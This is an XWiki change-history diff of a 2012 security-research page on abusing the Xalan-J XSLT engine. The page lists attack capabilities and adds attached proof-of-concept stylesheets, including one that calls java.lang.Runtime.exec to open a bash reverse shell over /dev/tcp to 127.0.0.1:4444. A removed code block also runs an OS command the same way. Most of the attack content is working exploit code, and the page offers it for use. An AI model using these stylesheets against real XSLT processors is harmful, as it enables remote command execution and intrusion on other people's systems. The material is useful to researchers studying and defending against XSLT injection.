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Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 41.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:29
Change comment: There is no comment for this version
To version Icon 55.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 00:11
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -22,7 +22,7 @@
22 22  * Java properties disclosure
23 23  * Java environment disclosure
24 24  * Java code execution
25 -* Arbitrary command execution
25 +* OS command execution
26 26  * File creation
27 27  * JDBC connectivity
28 28  
... ... @@ -48,20 +48,24 @@
48 48  |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
49 49  Wed Jan 11 22:45:07 CET 2012
50 50  
51 -== Execution of external commands ==
51 +== OS command execution ==
52 52  
53 -The following code will execute the command "touch /tmp/hello" :
53 +Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
54 54  
55 -<?xml version="1.0"?>
56 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
57 - xmlns:j="http:~/~/xml.apache.org/xalan/java"
58 - exclude-result-prefixes="j"
59 - version="1.0">
60 - <xsl:template match="/">
61 - <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
62 - <xsl:variable name="a" select="j:split($c, ' = ')"/>
63 - <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
64 - <xsl:variable name="p" select="j:exec($r, $a )"/>
65 - No content at the moment ...
66 - </xsl:template>
67 -</xsl:stylesheet>
55 +|=Namespace|=Extension functions|=PoC
56 +|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
57 +
58 +__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
59 +
60 +== File creation ==
61 +
62 +The write extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
63 +
64 +|=Namespace|=Extension element|=Parameter|=PoC
65 +|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]\\
66 +
67 +ccc
68 +
69 +== JDBC connectivity ==
70 +
71 +xxx TODO xxx
Icon xalanj-java-date.xsl
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
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1 +409 bytes
Content
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1 +<xsl:stylesheet version="1.0"
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
4 + exclude-result-prefixes="date">
5 + <xsl:output method="text"/>
6 + <xsl:template match="/">
7 + <xsl:variable name="dateObject" select="date:new()"/>
8 + <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
9 + </xsl:template>
10 +</xsl:stylesheet>
11 +
Icon xalanj-reverse-bash.xsl
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
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1 +1002 bytes
Content
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1 +<xsl:stylesheet
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:jv="http://xml.apache.org/xalan/java"
4 + exclude-result-prefixes="jv"
5 + version="1.0">
6 +
7 + <xsl:template match="/">
8 +
9 + <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable>
10 + <xsl:variable name="a" select="jv:split($test, ' ==== ')"/>
11 + <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/>
12 + <xsl:variable name="process" select="jv:exec($rtobject, $a )"/>
13 +
14 +Objet "String" :
15 + <xsl:value-of select="$test"/>
16 +
17 +Objet "Array" :
18 + <xsl:variable name="aAsString" select="jv:toString($a)"/>
19 + <xsl:value-of select="$aAsString"/>
20 +
21 +Objet "Runtime" :
22 + <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/>
23 + <xsl:value-of select="$rtobjectAsString"/>
24 +
25 +Objet "Process" :
26 + <xsl:variable name="processAsString" select="jv:toString($process)"/>
27 + <xsl:value-of select="$processAsString"/>
28 +
29 + </xsl:template>
30 +</xsl:stylesheet>
31 +